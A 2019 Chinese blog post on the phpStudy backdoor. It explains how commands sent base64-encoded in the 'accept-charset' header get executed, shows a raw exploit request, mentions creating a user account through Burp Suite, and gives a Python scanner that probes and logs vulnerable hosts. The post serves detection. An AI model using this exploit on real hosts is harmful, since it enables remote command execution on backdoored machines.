phpstudy后门POC检测模块

 

北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后门”。截至案发,近百万PHP用户中超过67万用户已被黑客控制,并大肆盗取账号密码、聊天记录、设备码类等敏感数据多达10万多组,非法牟利600多万元。

我们来看一下phpstudy后门利用原理,accept-charset协议头参数是将发送数据的编码告诉服务器,如果是为base64编码后的字符,将会执行后门木马中的命令。

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyAiYml0Y2hcbiI7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

 打开burpsuite可以进行测试,首先将命令代码转换成base64编码。

之后使用burp发送数据包。

虽然没有反应,但是我们查看用户已经多了一个账户。

同样也可以执行别的命令。

 

PYTHON POC 可用于检测后门:

#-*- encoding:gbk -*-
import base64
import requests
payload = 'echo "cool";'
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'accept-charset': payload,
    'Accept-Encoding': 'gzip,deflate',
    'Connection': 'close',
}
def write_shell(url,headers):
    try:
        r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
        if "cool" in r.text:
            print ('[ + ] 存在后门利用: '+url+' ===============[ + ]\n')
            with open('success.txt','a') as f:
                    f.write(url+'\n')
        else:
            print ('[ - ] 不存在后门利用: '+url+'[ - ]\n')
    except:
        print ('[ - ] 超时无法打开: '+url+' [ - ]\n')

url = "http://127.0.0.1/"
write_shell(url=url,headers=headers)

 

posted @ 2019-10-15 20:27  WINDECODE  阅读(364)  评论(0)    收藏  举报